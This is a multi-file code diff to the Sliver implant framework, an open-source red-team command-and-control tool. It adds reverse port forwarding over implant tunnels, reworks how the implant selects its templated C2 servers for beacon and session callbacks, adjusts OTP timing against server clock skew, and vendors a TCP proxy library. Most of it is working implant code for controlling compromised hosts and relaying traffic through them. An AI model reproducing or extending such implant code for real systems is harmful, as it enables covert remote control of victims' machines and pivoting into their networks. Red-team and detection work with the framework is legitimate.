// Add - Add a TCP proxy instance
func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
portfwd := &Portfwd{
ID: nextPortfwdID(),
TCPProxy: tcpProxy,
ChannelProxy: channelProxy,
}
f.forwards[portfwd.ID] = portfwd
return portfwd
}
// Remove - Remove a TCP proxy instance
func (f *portfwds) Remove(portfwdID int) *Portfwd {
f.mutex.Lock()
defer f.mutex.Unlock()
if portfwd, ok := f.forwards[portfwdID]; ok {
portfwd.TCPProxy.Close()
delete(f.forwards, portfwdID)
return portfwd
}
return nil
}
// List - List all TCP proxy instances
func (f *portfwds) List() []*PortfwdMeta {
f.mutex.RLock()
defer f.mutex.RUnlock()
portForwards := []*PortfwdMeta{}
for _, portfwd := range f.forwards {
portForwards = append(portForwards, portfwd.GetMetadata())
}
return portForwards
}
// ChannelProxy binds the Sliver Tunnel to a net.Conn object
// one ChannelProxy per port bind.
//
// Implements the Target interface from tcpproxy pkg
type ChannelProxy struct {
Conn *transports.Connection
//Session *clientpb.Session
BindAddr string
RemoteAddr string
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
// HandleConn - Handle a TCP connection
func (p *ChannelProxy) HandleConn(src net.Conn) {
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Handling new connection")
// {{end}}
ctx := context.Background()
var cancelContext context.CancelFunc
if p.DialTimeout >= 0 {
ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
}
if conn, ok := src.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[rportfwd] Creating tcp tunnel")
// {{end}}
tId := NewTunnelID()
// {{if .Config.Debug}}
log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
// {{end}}
tunnel := transports.NewTunnel(
tId,
src,
src,
)
p.Conn.AddTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := p.Conn.Tunnel(tunnel.ID)
p.Conn.RemoveTunnel(tunnel.ID)
src.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: p.Conn,
host: p.Host(),
port: p.Port(),
protocol: sliverpb.PortFwdProtoTCP,
tunnelID: tId,
}
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
// HostPort - Returns the host and port of the TCP proxy
func (p *ChannelProxy) HostPort() (string, uint32) {
defaultPort := uint32(8080)
host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse addr %s", p.RemoteAddr)
// {{end}}
return "", defaultPort
}
portNumber, err := strconv.Atoi(rawPort)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse number from %s", rawPort)
// {{end}}
return "", defaultPort
}
port := uint32(portNumber)
if port < 1 || 65535 < port {
// {{if .Config.Debug}}
log.Printf("Invalid port number %d", port)
// {{end}}
return "", defaultPort
}
return host, port
}
// Port - Returns the TCP port of the proxy
func (p *ChannelProxy) Port() uint32 {
_, port := p.HostPort()
return port
}
// Host - Returns the host (i.e., interface) of the TCP proxy
func (p *ChannelProxy) Host() string {
host, _ := p.HostPort()
return host
}
func (p *ChannelProxy) dialTimeout() time.Duration {
if p.DialTimeout > 0 {
return p.DialTimeout
}
return 30 * time.Second
}
func nextPortfwdID() int {
portfwdID++
return portfwdID
}
// NewTunnelID - New 64-bit identifier
func NewTunnelID() uint64 {
randBuf := make([]byte, 8)
rand.Read(randBuf)
return binary.LittleEndian.Uint64(randBuf)
}
+71
View File
@@ -0,0 +1,71 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
host string
port uint32
protocol int
tunnelID uint64
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
createReverse := false
rportfwdInfo := &sliverpb.RPortfwd{}
if tw.tun.WriteSequence() == 0 {
createReverse = true
rportfwdInfo.Host = tw.host
rportfwdInfo.Port = tw.port
rportfwdInfo.Protocol = int32(tw.protocol)
rportfwdInfo.TunnelID = tw.tunnelID
}
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
CreateReverse: createReverse,
Rportfwd: rportfwdInfo,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+18
View File
@@ -1,5 +1,23 @@
package service
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"time"
+15 -15
View File
@@ -51,6 +51,7 @@ import (
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/handlers"
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
"github.com/bishopfox/sliver/implant/sliver/locale"
"github.com/bishopfox/sliver/implant/sliver/limits"
"github.com/bishopfox/sliver/implant/sliver/pivots"
"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -67,14 +68,7 @@ import (
)
var (
InstanceID string
c2Servers = []string{
// {{range $index, $value := .Config.C2}}
"{{$value}}", // {{$index}}
// {{end}}
}
InstanceID string
connectionErrors = 0
)
@@ -202,7 +196,7 @@ func beaconStartup() {
defer func() {
abort <- struct{}{}
}()
beacons := transports.StartBeaconLoop(c2Servers, abort)
beacons := transports.StartBeaconLoop(abort)
for beacon := range beacons {
// {{if .Config.Debug}}
log.Printf("Next beacon = %v", beacon)
@@ -234,7 +228,7 @@ func sessionStartup() {
defer func() {
abort <- struct{}{}
}()
connections := transports.StartConnectionLoop(c2Servers, abort)
connections := transports.StartConnectionLoop(abort)
for connection := range connections {
if connection != nil {
err := sessionMainLoop(connection)
@@ -300,8 +294,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Register: register,
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
beacon.Close()
// BeaconMain - Is executed in it's own goroutine as the function will block
// until all tasks complete (in success or failure), if a task handler blocks
@@ -353,6 +347,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{if .Config.Debug}}
log.Printf("[beacon] closing ...")
// {{end}}
time.Sleep(time.Second)
beacon.Close()
}()
// {{if .Config.Debug}}
@@ -480,9 +475,7 @@ func openSessionHandler(data []byte) {
log.Printf("[beacon] failed to parse open session msg: %s", err)
// {{end}}
}
// {{if .Config.Debug}}
log.Printf("[beacon] open session -> %v", openSession.C2S)
// {{end}}
if openSession.Delay != 0 {
// {{if .Config.Debug}}
log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -492,7 +485,7 @@ func openSessionHandler(data []byte) {
go func() {
abort := make(chan struct{})
connections := transports.StartConnectionLoop(openSession.C2S, abort)
connections := transports.StartConnectionLoop(abort)
defer func() { abort <- struct{}{} }()
connectionAttempts := 0
for connection := range connections {
@@ -548,6 +541,7 @@ func sessionMainLoop(connection *transports.Connection) error {
tunHandlers := handlers.GetTunnelHandlers()
sysHandlers := handlers.GetSystemHandlers()
specialHandlers := handlers.GetSpecialHandlers()
rportfwdHandlers := handlers.GetRportFwdHandlers()
for envelope := range connection.Recv {
if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -560,6 +554,11 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] pivotHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
// {{if .Config.Debug}}
log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if handler, ok := sysHandlers[envelope.Type]; ok {
// Beware, here be dragons.
// This is required for the specific case of token impersonation:
@@ -684,5 +683,6 @@ func registerSliver() *sliverpb.Register {
ReconnectInterval: int64(transports.GetReconnectInterval()),
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
Locale: locale.GetLocale(),
}
}
+21 -2
View File
@@ -1,12 +1,31 @@
//go:build windows
// +build windows
package spoof
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
"golang.org/x/sys/windows"
// {{if .Config.Debug}}
"log"
// {{end}}
+475
View File
@@ -0,0 +1,475 @@
package tcpproxy
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Package tcpproxy lets users build TCP proxies, optionally making
// routing decisions based on HTTP/1 Host headers and the SNI hostname
// in TLS connections.
//
// Typical usage:
//
// var p tcpproxy.Proxy
// p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
// p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
// p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
// p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
// p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
// p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
// log.Fatal(p.Run())
//
// Calling Run (or Start) on a proxy also starts all the necessary
// listeners.
//
// For each accepted connection, the rules for that ipPort are
// matched, in order. If one matches (currently HTTP Host, SNI, or
// always), then the connection is handed to the target.
//
// The two predefined Target implementations are:
//
// 1) DialProxy, proxying to another address (use the To func to return a
// DialProxy value),
//
// 2) TargetListener, making the matched connection available via a
// net.Listener.Accept call.
//
// But Target is an interface, so you can also write your own.
//
// Note that tcpproxy does not do any TLS encryption or decryption. It
// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
// header is unencrypted, for better or worse.
//
// This package makes no API stability promises. If you depend on it,
// vendor it.
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"log"
"net"
"time"
)
// Proxy is a proxy. Its zero value is a valid proxy that does
// nothing. Call methods to add routes before calling Start or Run.
//
// The order that routes are added in matters; each is matched in the order
// registered.
type Proxy struct {
configs map[string]*config // ip:port => config
lns []net.Listener
donec chan struct{} // closed before err
err error // any error from listening
// ListenFunc optionally specifies an alternate listen
// function. If nil, net.Dial is used.
// The provided net is always "tcp".
ListenFunc func(net, laddr string) (net.Listener, error)
}
// Matcher reports whether hostname matches the Matcher's criteria.
type Matcher func(ctx context.Context, hostname string) bool
// equals is a trivial Matcher that implements string equality.
func equals(want string) Matcher {
return func(_ context.Context, got string) bool {
return want == got
}
}
// config contains the proxying state for one listener.
type config struct {
routes []route
acmeTargets []Target // accumulates targets that should be probed for acme.
stopACME bool // if true, AddSNIRoute doesn't add targets to acmeTargets.
}
// A route matches a connection to a target.
type route interface {
// match examines the initial bytes of a connection, looking for a
// match. If a match is found, match returns a non-nil Target to
// which the stream should be proxied. match returns nil if the
// connection doesn't match.
//
// match must not consume bytes from the given bufio.Reader, it
// can only Peek.
//
// If an sni or host header was parsed successfully, that will be
// returned as the second parameter.
match(*bufio.Reader) (Target, string)
}
func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
if p.ListenFunc != nil {
return p.ListenFunc
}
return net.Listen
}
func (p *Proxy) configFor(ipPort string) *config {
if p.configs == nil {
p.configs = make(map[string]*config)
}
if p.configs[ipPort] == nil {
p.configs[ipPort] = &config{}
}
return p.configs[ipPort]
}
func (p *Proxy) addRoute(ipPort string, r route) {
cfg := p.configFor(ipPort)
cfg.routes = append(cfg.routes, r)
}
// AddRoute appends an always-matching route to the ipPort listener,
// directing any connection to dest.
//
// This is generally used as either the only rule (for simple TCP
// proxies), or as the final fallback rule for an ipPort.
//
// The ipPort is any valid net.Listen TCP address.
func (p *Proxy) AddRoute(ipPort string, dest Target) {
p.addRoute(ipPort, fixedTarget{dest})
}
type fixedTarget struct {
t Target
}
func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
// Run is calls Start, and then Wait.
//
// It blocks until there's an error. The return value is always
// non-nil.
func (p *Proxy) Run() error {
if err := p.Start(); err != nil {
return err
}
return p.Wait()
}
// Wait waits for the Proxy to finish running. Currently this can only
// happen if a Listener is closed, or Close is called on the proxy.
//
// It is only valid to call Wait after a successful call to Start.
func (p *Proxy) Wait() error {
<-p.donec
return p.err
}
// Close closes all the proxy's self-opened listeners.
func (p *Proxy) Close() error {
for _, c := range p.lns {
c.Close()
}
return nil
}
// Start creates a TCP listener for each unique ipPort from the
// previously created routes and starts the proxy. It returns any
// error from starting listeners.
//
// If it returns a non-nil error, any successfully opened listeners
// are closed.
func (p *Proxy) Start() error {
if p.donec != nil {
return errors.New("already started")
}
p.donec = make(chan struct{})
errc := make(chan error, len(p.configs))
p.lns = make([]net.Listener, 0, len(p.configs))
for ipPort, config := range p.configs {
ln, err := p.netListen()("tcp", ipPort)
if err != nil {
p.Close()
return err
}
p.lns = append(p.lns, ln)
go p.serveListener(errc, ln, config.routes)
}
go p.awaitFirstError(errc)
return nil
}
func (p *Proxy) awaitFirstError(errc <-chan error) {
p.err = <-errc
close(p.donec)
}
func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
for {
c, err := ln.Accept()
if err != nil {
ret <- err
return
}
go p.serveConn(c, routes)
}
}
// serveConn runs in its own goroutine and matches c against routes.
// It returns whether it matched purely for testing.
func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
br := bufio.NewReader(c)
for _, route := range routes {
if target, hostName := route.match(br); target != nil {
if n := br.Buffered(); n > 0 {
peeked, _ := br.Peek(br.Buffered())
c = &Conn{
HostName: hostName,
Peeked: peeked,
Conn: c,
}
}
target.HandleConn(c)
return true
}
}
// TODO: hook for this?
log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
c.Close()
return false
}
// Conn is an incoming connection that has had some bytes read from it
// to determine how to route the connection. The Read method stitches
// the peeked bytes and unread bytes back together.
type Conn struct {
// HostName is the hostname field that was sent to the request router.
// In the case of TLS, this is the SNI header, in the case of HTTPHost
// route, it will be the host header. In the case of a fixed
// route, i.e. those created with AddRoute(), this will always be
// empty. This can be useful in the case where further routing decisions
// need to be made in the Target impementation.
HostName string
// Peeked are the bytes that have been read from Conn for the
// purposes of route matching, but have not yet been consumed
// by Read calls. It set to nil by Read when fully consumed.
Peeked []byte
// Conn is the underlying connection.
// It can be type asserted against *net.TCPConn or other types
// as needed. It should not be read from directly unless
// Peeked is nil.
net.Conn
}
func (c *Conn) Read(p []byte) (n int, err error) {
if len(c.Peeked) > 0 {
n = copy(p, c.Peeked)
c.Peeked = c.Peeked[n:]
if len(c.Peeked) == 0 {
c.Peeked = nil
}
return n, nil
}
return c.Conn.Read(p)
}
// Target is what an incoming matched connection is sent to.
type Target interface {
// HandleConn is called when an incoming connection is
// matched. After the call to HandleConn, the tcpproxy
// package never touches the conn again. Implementations are
// responsible for closing the connection when needed.
//
// The concrete type of conn will be of type *Conn if any
// bytes have been consumed for the purposes of route
// matching.
HandleConn(net.Conn)
}
// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
func To(addr string) *DialProxy {
return &DialProxy{Addr: addr}
}
// DialProxy implements Target by dialing a new connection to Addr
// and then proxying data back and forth.
//
// The To func is a shorthand way of creating a DialProxy.
type DialProxy struct {
// Addr is the TCP address to proxy to.
Addr string
// KeepAlivePeriod sets the period between TCP keep alives.
// If zero, a default is used. To disable, use a negative number.
// The keep-alive is used for both the client connection and
KeepAlivePeriod time.Duration
// DialTimeout optionally specifies a dial timeout.
// If zero, a default is used.
// If negative, the timeout is disabled.
DialTimeout time.Duration
// DialContext optionally specifies an alternate dial function
// for TCP targets. If nil, the standard
// net.Dialer.DialContext method is used.
DialContext func(ctx context.Context, network, address string) (net.Conn, error)
// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
// If nil, the error is logged and src is closed.
// If non-nil, src is not closed automatically.
OnDialError func(src net.Conn, dstDialErr error)
// ProxyProtocolVersion optionally specifies the version of
// HAProxy's PROXY protocol to use. The PROXY protocol provides
// connection metadata to the DialProxy target, via a header
// inserted ahead of the client's traffic. The DialProxy target
// must explicitly support and expect the PROXY header; there is
// no graceful downgrade.
// If zero, no PROXY header is sent. Currently, version 1 is supported.
ProxyProtocolVersion int
}
// UnderlyingConn returns c.Conn if c of type *Conn,
// otherwise it returns c.
func UnderlyingConn(c net.Conn) net.Conn {
if wrap, ok := c.(*Conn); ok {
return wrap.Conn
}
return c
}
func goCloseConn(c net.Conn) { go c.Close() }
// HandleConn implements the Target interface.
func (dp *DialProxy) HandleConn(src net.Conn) {
ctx := context.Background()
var cancel context.CancelFunc
if dp.DialTimeout >= 0 {
ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
}
dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
if cancel != nil {
cancel()
}
if err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(dst)
if err = dp.sendProxyHeader(dst, src); err != nil {
dp.onDialError()(src, err)
return
}
defer goCloseConn(src)
if ka := dp.keepAlivePeriod(); ka > 0 {
if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
if c, ok := dst.(*net.TCPConn); ok {
c.SetKeepAlive(true)
c.SetKeepAlivePeriod(ka)
}
}
errc := make(chan error, 1)
go proxyCopy(errc, src, dst)
go proxyCopy(errc, dst, src)
<-errc
}
func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
switch dp.ProxyProtocolVersion {
case 0:
return nil
case 1:
var srcAddr, dstAddr *net.TCPAddr
if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
srcAddr = a
}
if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
dstAddr = a
}
if srcAddr == nil || dstAddr == nil {
_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
return err
}
family := "TCP4"
if srcAddr.IP.To4() == nil {
family = "TCP6"
}
_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
return err
default:
return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
}
}
// proxyCopy is the function that copies bytes around.
// It's a named function instead of a func literal so users get
// named goroutines in debug goroutine stack dumps.
func proxyCopy(errc chan<- error, dst, src net.Conn) {
// Before we unwrap src and/or dst, copy any buffered data.
if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
if _, err := dst.Write(wc.Peeked); err != nil {
errc <- err
return
}
wc.Peeked = nil
}
// Unwrap the src and dst from *Conn to *net.TCPConn so Go
// 1.11's splice optimization kicks in.
src = UnderlyingConn(src)
dst = UnderlyingConn(dst)
_, err := io.Copy(dst, src)
errc <- err
}
func (dp *DialProxy) keepAlivePeriod() time.Duration {
if dp.KeepAlivePeriod != 0 {
return dp.KeepAlivePeriod
}
return time.Minute
}
func (dp *DialProxy) dialTimeout() time.Duration {
if dp.DialTimeout > 0 {
return dp.DialTimeout
}
return 10 * time.Second
}
var defaultDialer = new(net.Dialer)
func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
if dp.DialContext != nil {
return dp.DialContext
}
return defaultDialer.DialContext
}
func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
if dp.OnDialError != nil {
return dp.OnDialError
}
return func(src net.Conn, dstDialErr error) {
log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
src.Close()
}
}
+2 -2
View File
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
}
// StartBeaconLoop - Starts the beacon loop generator
func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
// {{if .Config.Debug}}
log.Printf("Starting beacon loop ...")
// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
nextBeacon := make(chan *Beacon)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
defer close(nextBeacon)
+24 -6
View File
@@ -1,5 +1,23 @@
package transports
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"sync"
@@ -14,7 +32,7 @@ type Connection struct {
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
tunnels map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
return c.tunnels[ID]
}
// AddTunnel - Add tunnel to mapping
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
c.tunnels[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
delete(c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
for id, tunnel := range c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
delete(c.tunnels, id)
}
}
@@ -58,6 +58,7 @@ const (
var (
ErrClosed = errors.New("http session closed")
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
TimeDelta time.Duration = 0
)
// HTTPOptions - c2 specific configuration options
@@ -334,7 +335,8 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
otpCode := cryptography.GetOTPCode()
timestamp := time.Now().UTC().Add(TimeDelta)
otpCode := cryptography.GetExactOTPCode(timestamp)
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
@@ -349,6 +351,15 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
return err
}
if resp.StatusCode != http.StatusOK {
serverDateHeader := resp.Header.Get("Date")
if serverDateHeader != "" {
// If the request failed and there is a Date header, find the time difference and save it for the next request
curTime := time.Now().UTC()
serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
if err == nil {
TimeDelta = serverTime.UTC().Sub(curTime)
}
}
// {{if .Config.Debug}}
log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
// {{end}}
+7 -7
View File
@@ -80,7 +80,7 @@ type Start func() error
type Stop func() error
// StartConnectionLoop - Starts the main connection loop
func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
// {{if .Config.Debug}}
log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
nextConnection := make(chan *Connection)
innerAbort := make(chan struct{})
c2Generator := C2Generator(c2s, innerAbort)
c2Generator := C2Generator(innerAbort)
go func() {
var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
uri: uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
+17 -9
View File
@@ -36,10 +36,18 @@ const (
)
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
// {{if .Config.Debug}}
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
// {{end}}
c2Servers := []func() string{}
// {{range $index, $value := .Config.C2}}
c2Servers = append(c2Servers, func() string {
return "{{$value}}" // {{$index}}
})
// {{end}} - range
generator := make(chan *url.URL)
go func() {
defer close(generator)
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
var next string
switch "{{.Config.ConnectionStrategy}}" {
case strategyRandom: // Random
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
case strategyRandomDomain: // Random Domain
// Select the next sequential C2 then use it's protocol to make a random
// selection from all C2s that share it's protocol.
next = c2Servers[insecureRand.Intn(len(c2Servers))]
next = c2Servers[insecureRand.Intn(len(c2Servers))]()
next = randomCCDomain(c2Servers, next)
case strategySequential: // Sequential
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
default:
next = c2Servers[c2Counter%uint(len(c2Servers))]
next = c2Servers[c2Counter%uint(len(c2Servers))]()
}
c2Counter++
if ^uint(0) < c2Counter {
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
}
// randomCCDomain - Random selection within a protocol
func randomCCDomain(ccServers []string, next string) string {
func randomCCDomain(ccServers []func() string, next string) string {
uri, err := url.Parse(next)
if err != nil {
return next
}
pool := []string{}
pool := []func() string{}
protocol := uri.Scheme
for _, cc := range ccServers {
uri, err := url.Parse(cc)
uri, err := url.Parse(cc())
if err != nil {
continue
}
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
pool = append(pool, cc)
}
}
return pool[insecureRand.Intn(len(pool))]
